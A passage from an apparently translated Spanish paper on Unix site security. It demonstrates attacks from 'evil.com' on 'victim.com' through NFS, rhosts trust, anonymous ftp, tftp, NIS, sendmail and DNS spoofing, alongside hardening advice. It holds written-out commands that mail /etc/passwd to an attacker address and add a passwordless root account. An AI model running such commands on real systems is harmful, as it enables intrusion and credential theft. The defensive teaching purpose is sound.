maquina sin tener que dar ningun password.

evil # mount victim.com:/export/foo /foo

evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %

Si, en lugar de home directories, victim.com exportara sistemas de archivos

con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar
un comando por un caballo de troya que ejecutara cualquier comando de tu
eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu
programa

Sugerimos que se exporten estos sistemas de archivos:

Lectura/excritura solo a clientes especificos y de confianza

Solo-lectura, donde sea posible (datos o programas pueden ser exportados
de esta forma)

Si la victima tiene un "+" wildcard en su /etc/hosts.equiv (por defecto en

varias maquinas) o tiene el netgroups bug , cualquier usuario no root con
un login en el fichero de passwords de la victima puede hacer un rlogin
(login remoto) a la victima sin necesidad de password. Y como el usuario
"bin" normalmente tiene ficheros llave y directorios, tu siguiente ataque
es el de tratar de acceder en el host de la victima y modificar el fichero
de passwords para permitirte tener acceso "root":
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) >
passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se
usa para inicialmente entrar en el sistema ya que no deja ningun rastro en
los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger
y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los
prgramas tipo pagers y editores fallaran - pero es de gran utilidad para
una breve exploracion.

La utilidad de seguridad COPS (ver apendice D) informara de archivos o

directorios que son "escribibles" a otras cuentas aparte de la superuser.
Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de
los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en
lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente
innotificable; el tcp wrapper (apendice D), que "logea" conexiones
entrantes, puede ayudar a desenmascarar dichas actividades.

---

Y ahora que? Has destapado ya todos los agujeros del sistema-victima?

Volviendo a los resultados dados por el finger en nuestra victima, te das
cuenta de que tiene una cuenta "ftp", que normalmente significa que se
puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir
acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima
debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo
-ftp/etc en vez de una version reducida. En este ejemplo, sin embargo,
puedes ver que este ultimo no parece ser el verdadero (como puedes
afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory
de "ftp" en victim.com es escribible. Esto te permite ejecutar comandos
remotamente - en este caso, mandarte el archivo por mail a ti mismo - por
el simple metodo de crear un archivo .forward que ejecuta un comando cuando
un mail es mandado a la cuenta "ftp".

evil % cat forward_sucker_file

"|/bin/mail [email protected] < /etc/passwd"

evil % ftp victim.com

Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail [email protected]

Ahora simplemente tienes que esperar a que el fichero de passwords te sea

enviado.

La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo;

mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el
CERT advisory 93:10 para recoger informacion acerca de como establecer
(setup, por si hay dudas) ftp anonimo correctamente.
Vulnerabilidades en el ftp son normalmente cusetion de una posesion
incorrecta o de los permisos de archivos y directorios. Al menos, estate
seguro de que -ftp y todos los directorios y ficheros "system" por debajo
de -ftp son de root y que no tienen privilegios de escritura para ningun
usuario.

Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente
explotado:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (o lo que sea)
Si esto funciona, estaras dentro como root, y con capacidad para modificar
el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes
que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp
anonimo en ftp.uu.net.

El wuarchive ftpd, un conocido "recambio" del ftp daemon dado por la

Washington University in Saint Louis, tenia casi el mismo problema. Si tu
wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una
version mas reciente.

Finalmente, hay un programa similar a ftp - tftp, o trivial file transfer

program. Este daemon no necesita de ningun password para autentificacion;
si un host provee de tftp sin restringir el acceso (normalmente mediante
algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer
y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas
el fichero passwd y se pone en tu directorio /tmp local:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es

necesario, utiliza la opcion/flag segura para restringir el acceso a un
directorio que contenga informacion sin valor, o ejecutalo bajo el control
de un programa chroot wrapper.

-----

Si ninguno de los metodos anteriores ha funcionado, es hora de tomar

medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran
utilidad, muchas veces incluso mas practico que el finger. Muchos hosts
tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el
portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS,
si es un servidor o esclavo NIS, si hay una estacion de trabajo sin
disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info
(rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados
con logs y seguridad). Por ejemplo, volviendo a nuestra victima:

evil % rpcinfo -p victim.com

program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd

En este caso, puedes ver varios datos significativos sobre nuestra victima;
el primero de los cuales es que es un servidor NIS. Puede que no sea muy
sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor,
puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso
cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el
programa YPX que se puede encontrar en los archivos comp.sources.misc en
ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables
passwords, muchos sistemas usan nombres de dominio NIS facilmente
adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente
provechoso/fructifero. Los mayores candidatos son los nombres del host en
forma parcial y total (e.g. "victim" and "victim.com", el nombre de la
organización, nombres del grupo dados por el comando "showmount", y demas.
Si quisieras probar si el nombre de dominio fuera "victim", teclearias:

evil % ypwhich -d victim victim.com

Domain victim not bound.

Como se ve este fue un intento sin éxito; si huiera sido correcto "victim",
nos habria dado un mensaje con el nombre de host del servidor NIS. De todas
formas, fijaros de la seccion NFS que victim.com esta exportando el
directorio "/var" al mundo. Todo lo que se necesita es montar dicho
directorio y mirar en el subdirectorio "yp" - entre otras cosas veras otro
subdirectorio que contiene el nombre de dominio de la victima.

evil # mount victim.com:/var /foo

evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]

En este caso "foo_bar" es el nombre de dominio del NIS.

Adicionalmente, los mapas NIS contienen normalmente una buena lista de

nombres de usuarios/empleados asi como listas de hosts internos, por no
mencionar passwords para crackear.

El apendice C detalla los resultados de un caso practico sobre archivos de

passwords NIS.

-----

Puedes observar que la respuesta dada por el comando rpcinfo mostraba que
victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo
"por favor ejecuta este comando como ese usuario (como siendo ese
usuario)". A diferencia de rshd, rexd no tiene en cuenta si el host cliente
esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa
rexd cliente es el comando "on", pero tan solo es necesario un pequeño
programa en C para mandar informacion arbitraria sobre el host y userid
cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas
razones, ejecutar rexd es similar a no tener passwords: toda la seguridad
esta en el cliente, no en el servidor que es donde deberia. La seguridad
del rexd puede ser mejorada de alguna manera usando un RPC seguro.

-----

Observando de nuevo la respuesta de rpcinfo, puedes observar que victim.com

parece ser un server para estaciones de trabajo sin disqueteras. Esto se
evidencia debido a la presencia del servicio bootparam, que provee
informacion a los clientes sin disquetera para el arranque. Si lo preguntas
correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un
cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran
utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS
arbitrarios (como el fichero password) cuando sabes el nombre de dominio.
Aquí va un ejemplo de codigo para hacer justo eso:

char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */

/* initializations omitted... */

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAM-

PROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf("%s has nisdomain %s\n", server, res.domain_name);

El resultado del comando showmount indicaba que "easy" es un cliente sin

disquetera de victim.com, asi que usamos su direccion de cliente en el
query BOOTPARAMPROC_WHOAMI:

evil % bootparam victim.com easy.victim.com

victim.com has nisdomain foo_bar

-----

Los NIS masters controlan los alias del mail para el dominio NIS en
cuestion. Como en los ficheros de alias de mail locales, puedes crear un
mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo
popular de esto es el alias "decode" que "uudecodea" archivos mail que le
son mandados). Por ejemplo, aquí creas un alias "foo", que mailea el
fichero password de vuelta a evil.com simplemente maileandole cualquier
mensaje:

nis-master # echo 'foo: "|mail [email protected]< /etc/passwd "' >> /etc/aliases

nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v [email protected]

Por suerte los atacantes no tendran control de tu NIS master host, pero mas
aun laa leccion esta clara - NIS normalmente no es seguro, pero si un
atacante se hace con el control de tu NIS master, efectivamente tendra de
los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).

No hay demasiadas defensas contra estos ataques; es un servicio inseguro

que casi no tiene autentificacion entre clientes y servers. Para mas INRI,
parece claro que se pueden forzar mapas aleatorios incluso en servidores
maestros (ej, es posible tratar a un servidor NIS como si fuera un
cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es
absolutamente necesario usar NIS, el usar un nombre de dominio dificil de
adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera
que estan expuestos a atacantes en potencia, entonces es insignifante para
este atacante el sobrepasar este simple paso haciendo uso del truco del
bootparam para conseguir el nombre de dominio. Si el NIS es usado para
propagar los mapas de passwords, entonces los shadowed passwords no ofrecen
ningun tipo de proteccion adicional ya que el mapa shadow seria aun
accesible para cualquier atacante que fuera root en un host de ataque.
Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que
los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.

El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero

tiene sus propios problemas, principalmente en que es dificil de
administrar, pero tambien en que los metodos de criptologia usados no son
muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de
red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha
limitado a correr bajo Suns.
Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111
o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de
Sun, puede tambien ayudar.

-----

El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros

servicios de red pueden ser localizados con el metodo de fuerza bruta que
conecta a todos los puertos de la red. Muchas utilidades de red y sistemas
basados en ventanas "escuchan" en puertos especificos (ej, sendmail esta en
el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).
SATAN incluye un programa que escanea los puertos de un host remoto e
informa lo que ha encontrado; si lo ejecutaras contra nuestra victima
verias lo siguiente:

evil % tcpmap victim.com

Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

Esto sugiere que victim.com esta corriendo X windows. Si no esta

correctamente protegido (por via de la cookie magica,magic cookie, o por
mecanismos xhost), el contenido de las ventanas podria capturarse u
observarse, lo que teclean los usuarios robado, ejecutar programas
remotamente, etc. Tambien, si la victima esta usando X windows y acepta un
telnet por el puerto 6000 (X), esto podria ser usado para un ataque de
denegacion de servicio (denial of service attack), ya que el sistema de
ventanas de la victima se suele mantener "congelado" por unos instantes. Un
metodo para determinar la vulnerabilidad de un servidor X (corriendo X
windows) es el de conectarse al mismo por medio de la funcion
XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes
acceder al display de la victima (opendisplay es parte de SATAN):

char *hostname;

if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}

evil % opendisplay victim.com:0

Cannot open display: victim.com:0

Los terminales X, aunque mucho menos potentes que un sistema UNIX completo,
pueden tener sus propios problemas de seguridad. Muchos terminales X
permiten accesos rsh no restringidos, permitiendote iniciar programas
clientes X en el terminal de la victima apareciendo los resultados en tu
propia pantalla:

evil % xhost +xvictim.victim.com

evil % rsh xvictim.victim.com telnet victim.com -display evil.com

En cualquier caso, dale la misma importancia a la seguridad de tu sistema

de ventanas, como a la de tu sistema de archivos y utilidades de red, ya
que si no puede comprometer tu sistema igual que un "+" en el host.equiv o
una cuenta root sin password.
Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo
que tiene un largo historial de problemas de seguridad, incluyendo el
infame comando "wiz" (por suerte hace mucho que se deshabilito en todas las
maquinas). A menudo puedes determinar el sistema operativo, a veces hasta
la version, de la victima, mirando al numero de version de sendmail. Esto,
nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los
muchos bugs. Adicionalmente, puedes ver si usan el alias "decode", que
posee su propio set de problemas:

evil % telnet victim.com 25

connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00
PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

El usar el alias "decode" es un riesgo de seguridad - permite a los

atacantes en potencia sobreescribir cualquier fichero que fuese escribible
por el poseedor de ese alias - a menudo un daemon, pero potencialmente
cualquier usuario. Considera este trozo de mail - esto pondra a "evil.com"
en el archivo .rhost del usuario zen si es que fuera escribible.

evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail

[email protected]

Si no se conocen o no hay home directories escribibles, una interesante

variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que
contenga un alias con un comando que quieras ejecutar en tu victima. Esto
puede funcionar debido a que en muchos sistemas los archivos aliases.pag y
aliases.dir, que controlan los alias de mail del sistema, son escribibles
para todo el mundo.

evil % cat decode

bin: "| cat /etc/passwd | mail [email protected]"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail [email protected]
evil % /usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null

Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una

direccion es aceptable (vrfy), o hasta donde se expande una direccion
(expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn
pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn
pueden tambien ser usados para descubrir si el usuario esta ejecutando mail
por medio de cualquier programa susceptible de ser explotado (ej, vacation,
mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos
vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del
archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura
CmdTab que tengan los strings "vrfy" y "expn". Sites sin codigo pueden
tambien desabilitarlos simplemente editando el ejecutable del sendmail con
un editor binario y reemplazando "vrfy" y "expn" por espacios en blanco.
El adquirir una version reciente del sendmail (ver apendice D) es tambien
una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail
que encualquier otro programa UNIX.
-----

Hay dos bugs muy conocidos que deben ser tratados. El primero fue
definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los
mensajes de abajo, para versiones de sendmail previas a la 5.59, "evil.com"
se añade, a pesar de los mensajes de error, junto con los tipicos headers
del mail, al archivo especificado:

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM

evil % /bin/sh evil_sendmail

Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.

evil % rlogin victim.com -l zen

Welcome to victim.com!
victim %

El segundo agujero, recientemente solucionado, permitia a cualquiera

especificar comandos arbitrarios de shell y/o caminos de ruta para el
remitente y/o direccion de destino. Los intentos por mantener los detalles
en secreto fueron en vano, y extensas discusiones en listas de correo o
grupos de news de usenet llevaron a revelar como explotar los bugs de
algunas versiones. Como en muchos bugs de UNIX, casi todas las
distribuciones de sendmail eran vulnerables al problema, ya que todas
compartian un ancestral codigo fuente comun. El espacio nos impide
discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero
de passwords seria de la siguiente manera:

evil % telnet victim.com 25

Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail [email protected] < /etc/passwd"
250 "|/bin/mail [email protected] < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %

Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver

apendice D para informacion sobre como conseguirlo) es la unica variante
del sendmail con todos los bugs recientes corregidos (ni de coña J).

Confianza

Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la

estrategia practica que hemos seguido previamente para meternos un poco mas
en la parte teorica, y discutir brevemente la nocion de la confianza. Las
cuestiones e implicaciones de la vulnerabilidad aquí, son un poco mas
sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en
el contexto de este texto usamos la palabra confianza siempre que se da la
situacion de que un servidor (siempre que un host permite acceso remoto se
le puede llamar servidor) permita que un recurso local sea usado por un
cliente sin autentificacion de password cuando dicha autentificacion es
normalmente requerida. En otras palabras, limitamos arbitrariamente la
discusion a los clientes "disfrazados".

Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y

hosts.equiv que permiten el acceso sin verificacion de password; servidores
basados en ventanas que permiten a los sistemas remotos el uso y abuso de
privilegios; archivos exportados que controlan el acceso via NFS, y mas.

Casi todos estos dependen de la conversion del IP del cliente al nombre del
host para determinar si se concede el servicio o no. El metodo mas simple
usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en
dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o ambos
para el servicio de busqueda del nombre. Una busqueda inversa ocurre cuando
un servidor tiene una direccion IP (de una conexión de un cliente) y desea
coger el correspondiente nombre del host del cliente.

Auqnue el concepto de como funciona la confianza del host es bien sabido

por muchos administradores de sistema, los peligros de la confianza, y el
problema practico que representa, sin tomar en consideracion la
interpretacion del nombre del host, es uno de los problemas menos
entendidos que conocemos en Internet. Esto va mas alla de los obvios
ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas - de hecho,
muchos de los utiles servicios en UNIX estan basados en el concepto de que
sites bien conocidos (para un administrador o ususario) son de alguna
manera de confianza. Lo que no se entiende es como las redes atan de forma
tan estrecha la seguridad entre lo que normalmente se consideran hosts
inconexos.

Cualquier forma de confianza puede ser engañada, burlada, o derribada,

especialmente cuando la autoridad que tiene la responsabilidad de chequear
los credenciales de un cliente esta o bien fuera del dominio administrativo
del servidor, o cuendo el mecanismo de confianza esta basado de alguna
forma en metodo que tiene una forma debil de autentificacion; normalmente
ambos son el caso.

Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo

que sea) ha sido comprometido, el intruso puede convencer al host victima
de que el viene de cualquier host de confianza; ahora es suficiente con
encontrar que hosts son de confianza para la victima. Esta tarea es en gran
medida facilitada examinado de donde los administradores de sistema y las
cuentas del sistema (tales como root, etc.) se conectaron por ultima vez.
Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi
como otras cuentas del sistema se conectaron desde big.victim.com. Cambias
el registro PTR para evil.com de forma que cuando intentes hacer un rlogin
(login remoto) desde evil.com a victim.com, evil.com intentara buscar tu
nombre de host y encontrara lo que pusistes en el registro. Si el registro
en la base de datos DNS es asi:

1.192.192.192.in-addr.arpa IN PTR evil.com

y lo cambias por:

1.192.192.192.in-addr.arpa IN PTR big.victim.com

entonces, dependiendo de como sea de ingenuo el software de victim.com,

victim.com creera que el acceso proviene de big.victim.com, y, asumiendo
que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te
sera posible aceder sin tener que proporcionar un password. Con NIS, es
cuestion de o bien editar la base de datos del host en el NIS maestro (si
es que este esta controlado por el intruso) o de burlar o forzar el NIS
(ver discusion sobre la seguridad del NIS arriba) para proporcionar a la
victima cualquier informacion que desees. Aunque mas complejos, dañinos e
interesantes ataques pueden ser realizados por medio del DNS, el tiempo y
el espacio no permiten cubrir dichos metodos aquí.

Dos metodos puedem ser usados para prevenir dichos ataques. El primero es
el mas directo, pero quizas mas poco practico. Si tu site no usa ningun
metodo de confianza, no seras tan vulnerable al engaño de host. La otra
estrategia es la de usar protocolos encriptados. El usar el seguro
protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha sido
"roto" criptograficamente, aun da mas seguridad que los procedimientos de
autentificacion RPC que no usan ningun tipo de metodo de encriptacion.
Otras soluciones, tanto de hardware (smartcards) como de software
(Kerberos), estan siendo desarroladas, pero estan o bien incompletas o
requieren cambios en el software de el sistema.

El apendice B detalla los resultados de un estudio informal tomado de una

variedad de hosts en Internet.

Protegiendo el sistema

Es nuestra esperanza el que hallamos demostrado que incluso algunos de los

aparentemente inocuos servicios ofrecidos (algunas veces inesperadamente)
pueden ser "municion" para determinados crackers de sistemas. Pero, por
supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores
jamas estarian encendidos, y enganchados a una red con literalmente
millones de intrusos en potencia. Mas que dar avisos de que deberia o no
encenderse, ofreceremos algunas sugerencias generales:

Si no puedes quitar el servicio finger, considera el instalar un nuevo

finger daemon. Es raramente necesario el revelar el home directory de un
usuario y la procedencia de su ultimo acceso.

No corras NIS a menos que sea absolutamente necesario. Usalo lo menos

posible.

Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo.

Trata de exportar sistemas de archivos de solo lectura cuando sea
posible.

"Fortifica" y protege los servidores (ej, los hosts que dan un servicio
a otros hosts - NFS, NIS, DNS, o lo que sea.). Solo permite cuentas
administrativas en dichos hosts.

Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador

de puertos (pormapper). Elimina todos aquellos que no sean totalmente
necesarios. Usa los inetd wrappers de Wietse Venema, no para otra
funcion que la de tener un log de las fuentes de conexiones a tu host.
Esto aporta grandes mejoras a las caracteristicas de verificacion
standard de UNIX, especialmente con referencia a los ataques de red. Si
es posible, usa los metodos loghost de syslog para obtener informacion
relacionada con la seguridad en un host seguro.

Elimina los metodos de confianza a menos que su uso sea totalmente

necesario. La confianza es tu enemigo.

Usa passwords shadowed y el comando passwd para rechazar passwords

pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o
inactivas.
 Estate al tanto de la literatura actual (observa la lista de lectura y
bibliografua sugerida al final de este documento) y de las herramientas
de seguridad; informa a los demas acerca de problemas e incidentes de
seguridad. Como minimo, suscribete a la lista de mail del CERT y de la
revista PHRACK (ademas de la lista de mail de los firewalls, si tu site
esta usando o piensa instalar firewalls) y lee los grupos de news de
usenet acerca de seguridad para asi obtener la ultima informacion sobre
problemas de seguridad. La ignorancia es el problema de seguridad mas
mortal de los que estamos al tanto.

Instala todos los parches de seguridad tan pronto como sea posible, en
todos tus hosts. Examina la informacion de los parches de seguridad de
otras distribuciones - muchos bugs (rdist, sendmail) son comunes en
muchas variantes UNIX.

Es interesante el ver que soluciones comunes para problemas de seguridad ,

tales como usar Kerberos o el usar passwords de usar y tirar o tokens
digitales no son efectivas contra muchos de los ataques discutidos aquí.
Recomendamos de verdad el uso de tales sistemas, pero alertamos que no son
la solucion TOTAL a los problemas de seguridad - son parte de un esfuerzo
mayor de proteger tu sistema.

Conclusiones

Tal vez ninguno de los metodos expuestos aquí sean sorprendentes; cuando se
escribio este documento, no aprendimos mucho sobre como irrumpir en
sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros
propios sistemas y en sites amigos, lo efectivos que son estos metodos a la
hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar
de teclear todo esto a mano, y deseando mantener nuestros propios sistemas
mas seguros, decidimos poner en practica una herramienta de seguridad
(SATAN) que trata de chequear hosts remotos al menos para alguno de los
problemas discutidos aquí. La tipica respuesta, cuando informabamos a la
gente acerca de nuestro documento y nuestra herramienta, era algo del
estilo de "eso suena bastante peligroso - espero que no vayas a darlo a
todo cristo. Pero ya que tu confias en mi, podria tener una copia?"

Jamas pensamos en crear un cookbook o una herramienta de metodos y

programas soobre/para irrumpir en sistemas - en vez de eso, vemos que estos
mismos metodos fueron usados, todos los dias, contra nosotros y contra
administradores de sistema amigos. Creemos que el propagar la informacion
que normalmente no era accesible para aquellos que estuvieran fuera del
underworld, podemos aumentar la seguridad incrementando la conciancia del
peligro.. El intentar restringir el acceso a informacion "peligrosa" sobre
seguridad nunca ha sido un metodo muy util para incrementar la seguridad;
de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas
han sido reticentes a la hora de compartir informacion con otros.
Mientras es casi seguro que alguna de la informacion aquí presentada es
material nuevo para aspirantes a crackers de sistemas, y que algunos la
usaran para ganarse accesos no autorizados en hosts, la evidencia
presentada por nuestros tests muestra que hay un monton de sites inseguros,
simplemente por que el administrador de sistema no sabe mucho mas - no son
estupidos o lentos, simplemente no son capaces de pasar el poco tiempo que
tienen libre explorando todas las materias de seguridad pertenecientes a
sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil
a este tipo de informacion da como resultado sistemas pobremente
defendidos.

Esperamos (modetamente) que este documento provea de datos muy necesarios

sobre como los sistemas son crackeados, y mas aun, explique por que se
deben de dar ciertos pasos para proteger un sistema. El saber por que algo
es un problema es, en nuestra opinion, la clave para aprender y hacer una
eleccion informada e inteleginte para lo que la seguridad de tu sistema
significa de verdad.

-----

Apendice A:

SATAN (Security Analysis Tool for Auditing Networks)

Concebido originalmente hace unos años, SATAN es actualmente el prototipo

de una vision mas amplia y comprensible de una herramineta de seguridad. En
su encarnacion actual, SATAN prueba e informa remotamente acerca de varios
bugs y debilidades en servicios de red y sistemas basados en ventanas, asi
como tambien detalla tanta informacion util sobre la victima como le es
posible. Entonces procesa los datos con un filtro y con lo que se
calificaria como un sistema experto para al final generar el analisis de
seguridad. A pesar de no ser particularmente rapido, es extremadamente
adaptable y facil de modificar.

SATAN consiste en varios sub-programas, cada uno de los cuales es un

fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que
testea un host para una debilidad potencial dada. El añadir futuros
programas de testeo es tan facil como poner un ejecutable en el directorio
principal con la extension ".sat"; el programa principal lo ejecutara
automaticamente. Este genera una serie de blancos (usando DNS y una version
rapida de ping a la vez para llegar a los blancos en directo), y despues
ejecuta cada uno de los programas sobre cada uno de los blancos. Un
programa de interpretacion/filtrado de datos analiza despues el resultado,
y finalmente un programa de informes digiere todo para ponerlo en un
formato mas leible.

El paquete entero, incluyendo el codigo fuente y la documentacion, estara

disponible libremente al publico, via ftp anonimo y postenadolo a uno de
los numerosos foros sobre codigo fuente de Usenet.
-----

Apendice B

Un estudio informal llevado a cabo en al menos una docena de sites en

Internet (educacionales, militares, y comerciales, con unos 200 hosts y
4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de un
site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts
confiados; sin embargo, no era raro el tener unas 100 entradas en el
archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba
alrededor de 500! (Este no es un record del que uno deberia estar orgulloso
de poseer). Adicionalmente, cada uno de los sites directamente en Internet
(un site estaba practicamente tras un firewall) confiaba en un usuario o
host en otro site - asi que, la seguridad del site no estaba bajo el
control directo del administrador de sistema. Los sites mas grandes, con
mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con
archivos .rhosts, pero el tamaño de estos archivos era mayor, asi como el
